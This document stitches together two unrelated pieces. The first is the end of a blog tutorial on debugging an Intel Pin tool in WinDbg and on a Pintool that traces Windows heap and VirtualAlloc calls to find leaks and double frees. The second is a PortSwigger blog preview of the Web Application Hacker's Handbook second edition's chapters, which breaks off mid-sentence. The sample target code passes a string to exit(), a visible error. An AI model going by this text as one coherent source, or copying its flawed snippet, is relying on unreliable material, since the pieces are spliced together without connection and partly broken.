If you want to debug your `Pintool` you should use the `-pause_tool` switch
and specify the number of seconds to wait until you attach the debugger to its
process. See below how.

[code]

    C:\pin\source\tools\MallocTracer\Release>c:\pin\pin.exe -pause_tool 20 -t "C:\pin\source\tools\MallocTracer\Release\MallocTracer.dll" -- ExercisePin.exe
    Pausing for 20 seconds to attach to process with pid 1568
    
[/code]

For debugging of the `Pintool` I actually don’t use `Visual Studio`, I prefer
to use `WinDbg` because I’m used to it and it is awesome. Once you attach to
the process with `WinDbg` it’s very easy to set up a `breakpoint` wherever you
like in your `Pintool`. Below is just a simple example of setting a
`breakpoint` in the `main` function of my `Pintool`.

[code]

    Microsoft (R) Windows Debugger Version 10.0.17134.12 X86
    Copyright (c) Microsoft Corporation. All rights reserved.
    
    *** wait with pending attach
    Symbol search path is: srv*
    Executable search path is: 
    ModLoad: 00080000 00087000   C:\pin\source\tools\MallocTracer\Release\ExercisePin.exe
    ModLoad: 77800000 77980000   C:\Windows\SysWOW64\ntdll.dll
    ModLoad: 769d0000 76ae0000   C:\Windows\syswow64\kernel32.dll
    ModLoad: 76b50000 76b97000   C:\Windows\syswow64\KERNELBASE.dll
    Break-in sent, waiting 30 seconds...
    ModLoad: 54c20000 54f93000   MallocTracer.dll
    It is now possible to set breakpoints in Pin tool.
    Use "Go" command (F5) to proceed.
    (620.12c0): Break instruction exception - code 80000003 (first chance)
    eax=00000000 ebx=53833c8c ecx=76b6388e edx=00000000 esi=53833c8c edi=53833cb8
    eip=76b6338d esp=01ad1930 ebp=0042e7e4 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
    KERNELBASE!DebugBreak+0x2:
    76b6338d cc              int     3
    0:000> lmf
    start    end        module name
    00080000 00087000   ExercisePin C:\pin\source\tools\MallocTracer\Release\ExercisePin.exe
    54c20000 54f93000   MallocTracer MallocTracer.dll
    769d0000 76ae0000   kernel32 C:\Windows\syswow64\kernel32.dll
    76b50000 76b97000   KERNELBASE C:\Windows\syswow64\KERNELBASE.dll
    77800000 77980000   ntdll    C:\Windows\SysWOW64\ntdll.dll
    0:000> lmDvmMallocTracer
    Browse full module list
    start    end        module name
    54c20000 54f93000   MallocTracer   (deferred)             
        Image path: MallocTracer.dll
        Image name: MallocTracer.dll
        Browse all global symbols  functions  data
        Timestamp:        Sat Jun 30 14:28:14 2018 (5B37F5EE)
        CheckSum:         00000000
        ImageSize:        00373000
        Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4
        Information from resource tables:
    0:000> x /D /f MallocTracer!a*
     A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
    
    *** WARNING: Unable to verify checksum for MallocTracer.dll
    54c549b8          MallocTracer!ASM_pin_wow64_gate (<no parameter info>)
    54c5483c          MallocTracer!ATOMIC_Increment16 (<no parameter info>)
    54c547d0          MallocTracer!ATOMIC_Swap8 (<no parameter info>)
    54c54854          MallocTracer!ATOMIC_Increment32 (<no parameter info>)
    54e28b64          MallocTracer!ADDRINT_AtomicInc (<no parameter info>)
    54c35e20          MallocTracer!atexit (<no parameter info>)
    54c547fc          MallocTracer!ATOMIC_Swap32 (<no parameter info>)
    54c54740          MallocTracer!ATOMIC_SpinDelay (<no parameter info>)
    54c533c0          MallocTracer!ATOMIC::LIFO_PTR<LEVEL_BASE::SWMALLOC::FREE_LIST_ELEMENT,3,LEVEL_BASE::ATOMIC_STATS>::PopInternal (<no parameter info>)
    54e1a2b0          MallocTracer!abort (<no parameter info>)
    54c54810          MallocTracer!ATOMIC_Copy64 (<no parameter info>)
    54c547e4          MallocTracer!ATOMIC_Swap16 (<no parameter info>)
    54c41710          MallocTracer!ATOMIC::LIFO_CTR<ATOMIC::FIXED_LIFO<LEVEL_BASE::LOCK_COMMAND *,1,32,ATOMIC::NULLSTATS>::ELEMENT,ATOMIC::FIXED_LIFO<LEVEL_BASE::LOCK_COMMAND *,1,32,ATOMIC::NULLSTATS>::ELEMENT_HEAP,1,32,unsigned __int64,ATOMIC::NULLSTATS>::Pop (<no parameter info>)
    54c54824          MallocTracer!ATOMIC_Increment8 (<no parameter info>)
    54c549bb          MallocTracer!ASM_pin_wow64_gate_end (<no parameter info>)
    54c5478c          MallocTracer!ATOMIC_CompareAndSwap32 (<no parameter info>)
    54c54750          MallocTracer!ATOMIC_CompareAndSwap8 (<no parameter info>)
    54c41820          MallocTracer!ATOMIC::LIFO_CTR<ATOMIC::FIXED_LIFO<LEVEL_BASE::LOCK_COMMAND *,1,32,ATOMIC::NULLSTATS>::ELEMENT,ATOMIC::FIXED_LIFO<LEVEL_BASE::LOCK_COMMAND *,1,32,ATOMIC::NULLSTATS>::ELEMENT_HEAP,1,32,unsigned __int64,ATOMIC::NULLSTATS>::Push (<no parameter info>)
    54c535a0          MallocTracer!ATOMIC::IDSET<7,LEVEL_BASE::ATOMIC_STATS>::ReleaseID (<no parameter info>)
    54c547a8          MallocTracer!ATOMIC_CompareAndSwap64 (<no parameter info>)
    54c3e660          MallocTracer!ATOMIC::EXPONENTIAL_BACKOFF<LEVEL_BASE::ATOMIC_STATS>::~EXPONENTIAL_BACKOFF<LEVEL_BASE::ATOMIC_STATS> (<no parameter info>)
    54c5476c          MallocTracer!ATOMIC_CompareAndSwap16 (<no parameter info>)
    0:000> x /D /f MallocTracer!m*
     A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
    
    54e21e20          MallocTracer!mbsinit (<no parameter info>)
    54c6e450          MallocTracer!mmap (<no parameter info>)
    54c3bb40          MallocTracer!malloc (<no parameter info>)
    54e21db0          MallocTracer!memchr (<no parameter info>)
    54e21e00          MallocTracer!mbrtowc (<no parameter info>)
    54e26500          MallocTracer!mbrlen (<no parameter info>)
    54e21e40          MallocTracer!mbsnrtowcs (<no parameter info>)
    54e261b0          MallocTracer!mbrtoc32 (<no parameter info>)
    54c38730          MallocTracer!main (<no parameter info>)
    54e1a2f0          MallocTracer!memset (<no parameter info>)
    54e26410          MallocTracer!mbstate_get_byte (<no parameter info>)
    54e22010          MallocTracer!mbsrtowcs (<no parameter info>)
    54e1a1a0          MallocTracer!memmove (<no parameter info>)
    54e263e0          MallocTracer!mbstate_bytes_so_far (<no parameter info>)
    54e1a2c0          MallocTracer!memcpy (<no parameter info>)
    54c6e480          MallocTracer!munmap (<no parameter info>)
    54e26420          MallocTracer!mbstate_set_byte (<no parameter info>)
    0:000> bp 54c38730
    0:000> g
    Breakpoint 0 hit
    eax=53833cb8 ebx=54f64000 ecx=00000000 edx=54f356c0 esi=54f6500a edi=54f65000
    eip=54c38730 esp=01ad19f4 ebp=53833c8c iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
    MallocTracer!main:
    54c38730 55              push    ebp
[/code]

For `DynamoRIO` I’ll just point you to the official documentation since the
debugging process can be a bit more tricky. Check the documentation here.

## Pintool \(WinMallocTracer\)

As mentioned in the beginning, this post is all about `Windows`. Which means
it doesn’t really make sense to be tracking `malloc`, and/or `free`. If we
want to play with “real” `Windows` applications we need to `trace` the
`Windows` `Heap` family of functions.

It’s a good time to look again at the diagram shown before that illustrates
the relationship of `Windows API` calls used to allocate process memory \(from
the book The Art of Memory Forensics\).

If we want to make sure we’ll always “see” the memory allocations performed by
`Windows` applications, we should be looking for RtlAllocateHeap,
RtlReAllocateHeap, RtlFreeHeap, VirtualAllocEx, and VirtualFreeEx.

The `Pintool` below looks exactly at these functions. If you play a bit with
multiple applications you’ll realize that to accomplish “our” goal of tracking
memory allocations we’ll face a lot of challenges. The code below tries to
overcome some of them.

I won’t go into detail explaining the `API` calls used as I did before. Mainly
because they are mostly the same. I’ll leave the code here and you can go
through it. After I simply mention some of the main differences when compared
to the basic `Pintool` presented before.

[code]

    #include "pin.h"
    #include <iostream>
    #include <fstream>
    #include <map>
    
    map<ADDRINT, bool> MallocMap;
    ofstream LogFile;
    KNOB<string> LogFileName(KNOB_MODE_WRITEONCE, "pintool", "o", "memprofile.out", "Memory trace file name");
    KNOB<string> EntryPoint(KNOB_MODE_WRITEONCE, "pintool", "entrypoint", "main", "Guest entry-point function");
    KNOB<BOOL> EnumSymbols(KNOB_MODE_WRITEONCE, "pintool", "symbols", "0", "List Symbols");
    BOOL start_trace = false;
    
    VOID LogBeforeVirtualAlloc(ADDRINT size)
    {
      if (!start_trace)
        return;
    
      LogFile << "[*] VirtualAllocEx(" << dec << size << ")";
    }
    
    VOID LogAfterVirtualAlloc(ADDRINT addr)
    {
      if (!start_trace)
        return;
    
      if (addr == NULL)
      {
        cerr << "[-] Error: VirtualAllocEx() return value was NULL.";
        return;
      }
    
      map<ADDRINT, bool>::iterator it = MallocMap.find(addr);
    
      if (it != MallocMap.end())
      {
        if (it->second)
          it->second = false;
        else
          cerr << "[-] Error: allocating memory not freed!?!" << endl;
      }
      else
      {
        MallocMap.insert(pair<ADDRINT, bool>(addr, false));
        LogFile << "\t\t= 0x" << hex << addr << endl;
      }
    }
    
    VOID LogBeforeVirtualFree(ADDRINT addr)
    {
      if (!start_trace)
        return;
    
      map<ADDRINT, bool>::iterator it = MallocMap.find(addr);
    
      if (it != MallocMap.end())
      {
        if (it->second)
          LogFile << "[*] Memory at address 0x" << hex << addr << " has been freed more than once (Double Free)." << endl;
        else
        {
          it->second = true;    // Mark it as freed
          LogFile << "[*] VirtualFreeEx(0x" << hex << addr << ")" << endl;
        }
      }
      else
        LogFile << "[*] Freeing unallocated memory at address 0x" << hex << addr << "." << endl;
    }
    
    VOID LogBeforeReAlloc(ADDRINT freed_addr, ADDRINT size)
    {
      if (!start_trace)
        return;
    
      // mark freed_addr as free
      map<ADDRINT, bool>::iterator it = MallocMap.find(freed_addr);
    
      if (it != MallocMap.end())
      {
        it->second = true;
        LogFile << "[*] RtlHeapfree(0x" << hex << freed_addr << ") from RtlHeapRealloc()" << endl;
      }
      else
        LogFile << "[-] RtlHeapRealloc could not find addr to free??? - " << freed_addr << endl;
    
      LogFile << "[*] RtlHeapReAlloc(" << dec << size << ")";
    }
    
    VOID LogAfterReAlloc(ADDRINT addr)
    {
      if (!start_trace)
        return;
    
      if (addr == NULL)
        return;
    
      map<ADDRINT, bool>::iterator it = MallocMap.find(addr);
    
      if (it != MallocMap.end())
      {
        if (it->second)
          it->second = false;
        else
          // it already exists because of the HeapAlloc, we don't need to insert... just log it
          LogFile << "\t\t= 0x" << hex << addr << endl;
      }
    }
    
    VOID LogBeforeMalloc(ADDRINT size)
    {
      if (!start_trace)
        return;
    
      LogFile << "[*] RtlAllocateHeap(" << dec << size << ")";
    }
    
    VOID LogAfterMalloc(ADDRINT addr)
    {
      if (!start_trace)
        return;
    
      if (addr == NULL)
      {
        cerr << "[-] Error: RtlAllocateHeap() return value was NULL.";
        return;
      }
    
      map<ADDRINT, bool>::iterator it = MallocMap.find(addr);
    
      if (it != MallocMap.end())
      {
        if (it->second)
          it->second = false;
        else
          cerr << "[-] Error: allocating memory not freed!?!" << endl;
      }
      else
      {
        MallocMap.insert(pair<ADDRINT, bool>(addr, false));
        LogFile << "\t\t= 0x" << hex << addr << endl;
      }
    }
    
    VOID LogFree(ADDRINT addr)
    {
      if (!start_trace)
        return;
    
      map<ADDRINT, bool>::iterator it = MallocMap.find(addr);
    
      if (it != MallocMap.end())
      {
        if (it->second)
          LogFile << "[*] Memory at address 0x" << hex << addr << " has been freed more than once (Double Free)." << endl;
        else
        {
          it->second = true;    // Mark it as freed
          LogFile << "[*] RtlFreeHeap(0x" << hex << addr << ")" << endl;
        }
      }
      else
        LogFile << "[*] Freeing unallocated memory at address 0x" << hex << addr << "." << endl;
    }
    
    VOID BeforeMain() {
      start_trace = true;
    }
    VOID AfterMain() {
      start_trace = false;
    }
    
    VOID CustomInstrumentation(IMG img, VOID *v)
    {
      for (SYM sym = IMG_RegsymHead(img); SYM_Valid(sym); sym = SYM_Next(sym))
      {
        string undFuncName = PIN_UndecorateSymbolName(SYM_Name(sym), UNDECORATION_NAME_ONLY);
    
        if(EnumSymbols.Value())
        {
          LogFile << "" << undFuncName << "" << endl;
          continue;
        }
    
        if (undFuncName == EntryPoint.Value().c_str())
        {
          RTN allocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
    
          if (RTN_Valid(allocRtn))
          {
            RTN_Open(allocRtn);
    
            RTN_InsertCall(allocRtn, IPOINT_BEFORE, (AFUNPTR)BeforeMain, IARG_END);
            RTN_InsertCall(allocRtn, IPOINT_AFTER, (AFUNPTR)AfterMain, IARG_END);
    
            RTN_Close(allocRtn);
          }
        }
        if (undFuncName == "RtlAllocateHeap")
        {
          RTN allocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
    
          if (RTN_Valid(allocRtn))
          {
            RTN_Open(allocRtn);
            
            // Record RtlAllocateHeap size
            RTN_InsertCall(allocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeMalloc,
              IARG_FUNCARG_ENTRYPOINT_VALUE, 2, IARG_END);
    
            // Record RtlAllocateHeap return address
            RTN_InsertCall(allocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterMalloc,
              IARG_FUNCRET_EXITPOINT_VALUE, IARG_END);
            
            RTN_Close(allocRtn);
          }
        }
        if (undFuncName == "RtlReAllocateHeap")
        {
          RTN reallocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
    
          if (RTN_Valid(reallocRtn))
          {
            RTN_Open(reallocRtn);
    
            // Record RtlReAllocateHeap freed_addr, size
            RTN_InsertCall(reallocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeReAlloc,
              IARG_FUNCARG_ENTRYPOINT_VALUE, 2, IARG_FUNCARG_ENTRYPOINT_VALUE, 3, IARG_END);
    
            // Record RtlReAllocateHeap return address
            RTN_InsertCall(reallocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterReAlloc,
              IARG_FUNCRET_EXITPOINT_VALUE, IARG_END);
    
            RTN_Close(reallocRtn);
          }
        }
        else if (undFuncName == "RtlFreeHeap")
        {
          RTN freeRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
    
          if (RTN_Valid(freeRtn))
          {
            RTN_Open(freeRtn);
    
            RTN_InsertCall(freeRtn, IPOINT_BEFORE, (AFUNPTR)LogFree,
              IARG_FUNCARG_ENTRYPOINT_VALUE, 2,
              IARG_END);
    
            RTN_Close(freeRtn);
          }
        }
        if (undFuncName == "VirtualAllocEx")
        {
          RTN vrallocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
    
          if (RTN_Valid(vrallocRtn))
          {
            RTN_Open(vrallocRtn);
    
            RTN_InsertCall(vrallocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeVirtualAlloc,
              IARG_FUNCARG_ENTRYPOINT_VALUE, 2, IARG_END);
    
            RTN_InsertCall(vrallocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterVirtualAlloc,
              IARG_FUNCRET_EXITPOINT_VALUE, IARG_END);
    
            RTN_Close(vrallocRtn);
          }
        }
        if (undFuncName == "VirtualFreeEx")
        {
          RTN vrfreeRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
    
          if (RTN_Valid(vrfreeRtn))
          {
            RTN_Open(vrfreeRtn);
    
            RTN_InsertCall(vrfreeRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeVirtualFree,
              IARG_FUNCARG_ENTRYPOINT_VALUE, 1, IARG_END);
    
            RTN_Close(vrfreeRtn);
          }
        }
      }
    }
    
    VOID FinalFunc(INT32 code, VOID *v)
    {
      for (pair<ADDRINT, bool> p : MallocMap)
      {
        if (!p.second)
          LogFile << "[*] Memory at address 0x" << hex << p.first << " allocated but not freed" << endl;
      }
    
      LogFile.close();
    }
    
    int main(int argc, char *argv[])
    {
      PIN_InitSymbols();
      PIN_Init(argc, argv);
    
      LogFile.open(LogFileName.Value().c_str());
      LogFile << "## Memory tracing for PID = " << PIN_GetPid() << " started" << endl;
    
      if (EnumSymbols.Value())
        LogFile << "### Listing Symbols" << endl;
      else
        LogFile << "### Started tracing after '" << EntryPoint.Value().c_str() << "()' call" << endl;
      
      IMG_AddInstrumentFunction(CustomInstrumentation, NULL);
      PIN_AddFiniFunction(FinalFunc, NULL);
      PIN_StartProgram();
    
      return 0;
    }
[/code]

There are a couple of new options supported by this `Pintool`. If you look at
the `KNOB` switches \(below\), you’ll see that the `Pintool` now supports two
new options.

[code]

    KNOB<string> EntryPoint(KNOB_MODE_WRITEONCE, "pintool", "entrypoint", "main", "Guest entry-point function");
    KNOB<BOOL> EnumSymbols(KNOB_MODE_WRITEONCE, "pintool", "symbols", "0", "List Symbols");
[/code]

You can specify what’s the entry-point function of the target/guest
application you want to trace. Why is this useful? If you don’t do it, all the
initialization code will also be `traced` and it will become very hard to make
sense of the output of our `Pintool`. Try. By default, the `tracing` will
start only after the function `main` is called. Obviously, if our target/guest
application doesn’t have a `main` function, we’ll end with an empty output
file.

Let’s look at a specific example. Let’s look at the `Windows` `calc.exe`. This
binary doesn’t have a `main` function. So we run our `Pintool` as shown below.

[code]

    C:\pin>pin -t source\tools\WinMallocTracer\Release\WinMallocTracer.dll -- calc.exe
    
[/code]

We’ll get the following output.

[code]

    ## Memory tracing for PID = 1732 started
    ### Started tracing after 'main()' call
    
[/code]

As expected, since `calc.exe` doesn’t have a `main` function. So, if we want
to `trace` `calc.exe` or any other binary, we’ll need to find what’s its
entry-point \(or any other call after we want to start our `trace`\). We can
launch it on `IDA`, for example, or we can use the other `KNOB` switch
\(`-symbols`\) as shown below to list all the `symbols`.

[code]

    C:\pin>pin -t source\tools\WinMallocTracer\Release\WinMallocTracer.dll -symbols 1 -- calc.exe
    
[/code]

And look at the output file \(by default `memprofile.out`\) to see if we can
find the function we are looking for.

[code]

    C:\pin> type memprofile.out
    ## Memory tracing for PID = 5696 started
    ### Listing Symbols
    unnamedImageEntryPoint
    InterlockedIncrement
    InterlockedDecrement
    InterlockedExchange
    InterlockedCompareExchange
    InterlockedExchangeAdd
    KernelBaseGetGlobalData
    unnamedImageEntryPoint
    GetErrorMode
    SetErrorMode
    CreateIoCompletionPort
    PostQueuedCompletionStatus
    GetOverlappedResult
    (...)
    
[/code]

If you want to see the whole contents of the file you can find it here. The
first line is quite interesting though, and it’s probably what we are looking
for \(`unnamedImageEntryPoint`\). So we can use our `Pintool` as shown below.

[code]

    C:\pin>pin -t source\tools\WinMallocTracer\Release\WinMallocTracer.dll -entrypoint unnamedImageEntryPoint -- calc.exe
    
[/code]

And if we look at the output this time we’ll get something like:

[code]

    C:\pin> type memprofile.out
    ## Memory tracing for PID = 6656 started
    ### Started tracing after 'unnamedImageEntryPoint()' call
    [*] RtlAllocateHeap(32)   = 0x4d9098
    [*] RtlAllocateHeap(564)    = 0x2050590
    [*] RtlAllocateHeap(520)    = 0x4dcb18
    [*] RtlAllocateHeap(1024)   = 0x4dd240
    [*] RtlAllocateHeap(532)    = 0x20507d0
    [*] RtlAllocateHeap(1152)   = 0x20509f0
    [*] RtlAllocateHeap(3608)   = 0x4dd648
    [*] RtlAllocateHeap(1804)   = 0x2050e78
    [*] RtlFreeHeap(0x4dd648)
    (...)
    
[/code]

If you want to see the whole contents of the file you can find it here. As
you’ll see, it’s still hard to read and make sense of the output. As I
mentioned before, this `Pintool` can actually tell there’s a problem, but not
where it is. I’ll try to improve the `Pintool`, and if you are interested you
can follow its future developments here. At least, every time I detect an
issue I’ll add a PIN\_ApplicationBreakpoint \(see here\). In some cases, it
might still be very hard to locate the issue, but it’s a starting point. There
are also a lot of `false positives`, as you can see in the output of
`calc.exe`. To validate that actually the `Pintool` is working we can use the
following sample target/guest \(I called it `ExercisePin2.exe`\).

[code]

    #include <windows.h>
    #include <stdio.h>
    
    #define PAGELIMIT 80
    
    int my_heap_functions(char *buf) {
      HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0;
    
      h1 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 260);
    
      h2 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 260);
      
      HeapFree(GetProcessHeap(), 0, h1);
    
      h3 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 520);
    
      h4 = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, h3, 1040);
    
      HeapFree(GetProcessHeap(), 0, h4);
      return 0;
    }
    
    int my_virtual_functions(char *buf) {
      LPVOID lpvBase;
      DWORD dwPageSize;
      BOOL bSuccess;
      SYSTEM_INFO sSysInfo;         // Useful information about the system
    
      GetSystemInfo(&sSysInfo);     // Initialize the structure.
      dwPageSize = sSysInfo.dwPageSize;
    
      // Reserve pages in the virtual address space of the process.
      lpvBase = VirtualAlloc(
        NULL,                 // System selects address
        PAGELIMIT*dwPageSize, // Size of allocation
        MEM_RESERVE,          // Allocate reserved pages
        PAGE_NOACCESS);       // Protection = no access
    
      if (lpvBase == NULL)
        exit("VirtualAlloc reserve failed.");
    
      bSuccess = VirtualFree(
        lpvBase,       // Base address of block
        0,             // Bytes of committed pages
        MEM_RELEASE);  // Decommit the pages
    
      return 0;
    }
    
    int main(void) {
      my_heap_functions("moo");
      my_virtual_functions("moo");
    
      return 0;
    }
[/code]

You can find the `Visual Studio` project here. You can play with it a compare
the output with what’s expected based on `ExercisePin2.c` source code.

[code]

    C:\pin>pin -t source\tools\WinMallocTracer\Release\WinMallocTracer.dll -symbols 1 -- C:\TARGET\ExercisePin2.exe
    C:\pin> type memprofile.out
    ## Memory tracing for PID = 5600 started
    ### Listing Symbols
    _enc$textbss$end
    unnamedImageEntryPoint
    main
    my_heap_functions
    my_virtual_functions
    HeapAlloc
    HeapReAlloc
    HeapFree
    GetProcessHeap
    GetSystemInfo
    (...)
    
[/code]

The full output is here. Since the entry-point function is `main`, we can
simply run the `Pintool` without passing anything to it.

[code]

    C:\pin>pin -t source\tools\WinMallocTracer\Release\WinMallocTracer.dll -- C:\TARGET\ExercisePin2.exe
    C:\pin> type memprofile.out
    ## Memory tracing for PID = 4396 started
    ### Started tracing after 'main()' call
    [*] RtlAllocateHeap(260)    = 0x41dd30
    [*] RtlAllocateHeap(260)    = 0x41de40
    [*] RtlFreeHeap(0x41dd30)
    [*] RtlAllocateHeap(520)    = 0x41df50
    [*] RtlHeapfree(0x41df50) from RtlHeapRealloc()
    [*] RtlHeapReAlloc(1040)    = 0x41df50
    [*] RtlFreeHeap(0x41df50)
    [*] VirtualAllocEx(327680)    = 0x2410000
    [*] VirtualFreeEx(0x2410000)
    [*] Memory at address 0x41de40 allocated but not freed
    
[/code]

As we can see, tracing memory calls is tricky, but achievable. I’ll try to add
a few more things to this `WinMallocTracer` `Pintool` in a near future. Keep
an eye on GitHub if you fancy.

## Final notes

Playing with a `DBI` framework is not that hard, as we saw, the challenge lies
in doing it right. That is, handle all the corner cases efficiently. Something
that looks fairly easy can become very challenging if we are going to do it
right. The example tool I chose came from a specific need, and from a
vulnerability discovering perspective `DBI` frameworks are indeed very useful.
There’s a lot of room for improvement, and I plan to keep working on it.

Even though it was the `Fuzzing` subject that brought me here \(that is,
playing with `DBI` frameworks\) I ended up not talking too much about its
relationship. Think that a `DBI` tool per si won’t find many bugs unless you
exercise as many code paths as possible. After all, a `DBI` system only
modifies the code that’s executed. So, it’s easy to understand that we need to
combine it with a coverage-guided `Fuzzer` to discover more bugs \(preferably,
exploitable\).

`DBI` systems are here to stay, they emerged as a means for bypassing the
restrictions imposed by binary code. Or, lack of access to source code. The
need to understand, and modify the runtime behavior, of computer programs, is
undeniable.

The field of `dynamic binary modification` is evolving very fast. New
applications and new complex engineering challenges are appearing constantly
and `static binary patching` and `hooking` are “things” from the past.

This post documents the first steps if you want to get into this area. All the
code snippets used are available at this GitHub repo. And, an improved version
of the `WinMallocTracer` `Pintool` is available at this GitHub repo.

## References \(in no particular order\)

##### Videos

  

# PortSwigger Web Security Blog: Web App Hacker's Handbook 2nd Edition -
Preview

**Created:**| _5/11/2011 8:58:13 PM_  
---|---  
**Updated:**| _5/11/2011 8:58:13 PM_  
**Author:**| __  
**Tags:**| _web-app-sec web pentest_  
  

## Wednesday, 11 May 2011

###  Web App Hacker's Handbook 2nd Edition - Preview

The first draft of the new edition of WAHH is now completed, and the lengthy
editing and production process is underway. Just to whet everyone's appetite,
I'm posting below an exclusive extract from the Introduction, describing what
has changed in the second edition.

\(And in a vain attempt to quell the tidal wave of questions: the book will be
published in October; there won't be any more extracts; we don't need any
proof readers, thanks.\)  

What’s Changed in the Second Edition?

In the four years since the first edition of this book was published, much has
changed and much has stayed the same. The march of new technology has, of
course, continued apace, and this has given rise to specific new
vulnerabilities and attacks. The ingenuity of hackers has also led to the
development of new attack techniques, and new ways of exploiting old bugs. But
neither of these factors, technological or human, has created a revolution.
The technologies used in today’s applications have their roots in those that
are many years old. And the fundamental concepts involved in today’s cutting-
edge exploitation techniques are older than many of the researchers who are
applying them so effectively. Web application security is a dynamic and
exciting area to work in, but the bulk of what constitutes our accumulated
wisdom has evolved slowly over many years, and would have been distinctively
recognizable to practitioners working a decade or more ago.

This second edition is by no means a “complete rewrite” of the first edition.
Most of the material in the first edition remains valid and current today.
Approximately 30% of the content in the second edition is either completely
new or extensively revised. The remaining 70% has had minor modifications or
none at all. For readers who have upgraded from the first edition and may feel
disappointed by these numbers, you should take heart. If you have mastered all
of the techniques described in the first edition, then you already have the
majority of the skills and knowledge that you need. You can focus your reading
on what is new in this second edition, and quickly learn about the areas of
web application security that have changed in recent years.

One significant new feature of the second edition is the inclusion throughout
the book of real examples of nearly all of the vulnerabilities that are
covered. Any place you see a **Try it\!** link, you can go online and work
interactively with the example being discussed, to confirm that you can find
and exploit the vulnerability it contains. There are several hundred of these
labs, which you can work through at your own pace as you read the book. The
online labs are available on a subscription basis for a modest fee, to cover
the costs of hosting and maintaining the infrastructure involved.

For readers wishing to focus their attention on what is new in the second
edition, there follows a summary of the key areas where material has been
added or rewritten.

Chapter 1, “Web Application \(In\)security”, has been partly updated to
reflect new uses of web applications, some broad trends in technologies, and
the ways in which a typical organization’s security perimeter has continued to
change.

Chapter 2, “Core Defense Mechanisms”, has received minor changes, with a few
examples added of generic techniques for bypassing input validation defenses.

Chapter 3, “Web Application Technologies”, has been expanded with some new
sections describing technologies that are either new or were described more
briefly elsewhere within the first edition. The areas added include REST, Ruby
on Rails, SQL, XML, web services, CSS, VBScript, the document object model,
Ajax, JSON, the same-origin policy, and HTML5.

Chapter 4, “Mapping the Application”, has received various minor updates to
reflect developments in techniques for mapping content and functionality.

Chapter 5, “Bypassing Client-Side Controls”, has been updated more
extensively. In particular, the section on browser extension technologies has
been largely rewritten to include more detailed guidance on generic approaches
to bytecode decompilation and debugging, how to handle serialized data in
common formats, and how to deal with common obstacles to your work, including
non-proxy-aware clients and problems with SSL. The chapter also now covers
Silverlight technology.

Chapter 6, “Attacking Authentication”, remains current and has received only
minor updates.

Chapter 7, “Attacking Session Management”, has been updated to cover new tools
for automatically testing the quality of randomness in tokens. It also
contains new material on attacking encrypted tokens, including practical
techniques for token tampering without knowing either the cryptographic
algorithm or the encryption key being used.

Chapter 8, “Attacking Access Controls”, now covers access control
vulnerabilities arising from direct access to server-side methods, and from
platform misconfiguration where rules based on HTTP methods are used to
control access. It also describes some new tools and techniques that you can
use to partially automate the frequently onerous task of testing access
controls.

The material in Chapters 9 and 10 has been reorganized to create more
manageable chapters and a more logical arrangement of topics. Chapter 9,
“Attacking Data Stores” focuses on SQL injection and similar attacks against
other data store technologies. As SQL injection vulnerabilities have become
more widely understood and addressed, this material now focuses more on the
practical situations where SQL injection is still to be found. There are also
minor updates throughout to reflect current technologies and attack methods,
and there is a new section on using automated tools for exploiting SQL
injection vulnerabilities. The material on LDAP injection has been largely
rewritten to include more detailed coverage of specific technologies
\(Microsoft Active Directory and OpenLDAP\), as well as new techniques for
exploiting common vulnerabilities. This chapter also now covers attacks
against NoSQL.

Chapter 10, “Attacking Back-End Components”, covers the other types of server-
side injection vulnerabilities that were previously included in Chapter 9.
There are new sections covering XML external entity injection and injection
into back-end HTTP requests, including HTTP parameter injection/pollution and
injection into URL rewriting schemes.

Chapter 11, “Attacking Application Logic”, includes more real-world examples
of common logic flaws in input validation functions. With the increased usage
of encryption to protect application data at rest, we also include an example
of how to identify and exploit encryption oracles to decrypt encrypted data.

The topic of attacks against other application users, previously covered by
Chapter 12, has now been split into two separate chapters, as this material
was becoming unmanageably large as a single chapter. Chapter 12, “Attacking
Users: Cross-Site Scripting” focuses solely on XSS, and this material has been
extensively updated in various areas. The sections on bypassing defensive
filters to introduce script code have been completely rewritten to cover new
techniques and technologies, including various little-known methods for
executing script code on current browsers. There is also much more detailed
coverage of methods for obfuscating script code to bypass common input
filters. There are several new examples of real-world XSS attacks. There is a
new section on delivering working XSS exploits in challenging conditions,
which covers escalating an attack across application pages, exploiting XSS via
cookies and the Referer header, and exploiting XSS in non-standard request and
response content such as XML. There is a detailed examination of browsers’
built-in XSS filters, and how these can be circumvented to deliver exploits.
There are new sections on specific techniques for exploiting XSS in webmail
applications and in uploaded files. Finally, there are various updates to the
defensive measures that can be used to prevent XSS attacks.

The new Chapter 13, “Attacking Users: Other Techniques”, draws together the
remainder of this huge area. The topic of cross-site request forgery has been
updated to include CSRF attacks against the login function, common defects in
anti-CSRF defenses, UI redress attacks, and common defects in framebusting
defenses. A new section on cross-domain data capture includes techniques for
stealing data by injecting text containing non-scripting HTML and CSS, and
various techniques for cross-domain data capture using JavaScript and E4X. A
new section examines the same-origin policy in more detail, including its
implementation in different browser extension technologies, the changes
brought by HTML5, and ways of crossing domains via proxy service applications.
There are new sections on client-side cookie injection, SQL injection and HTTP
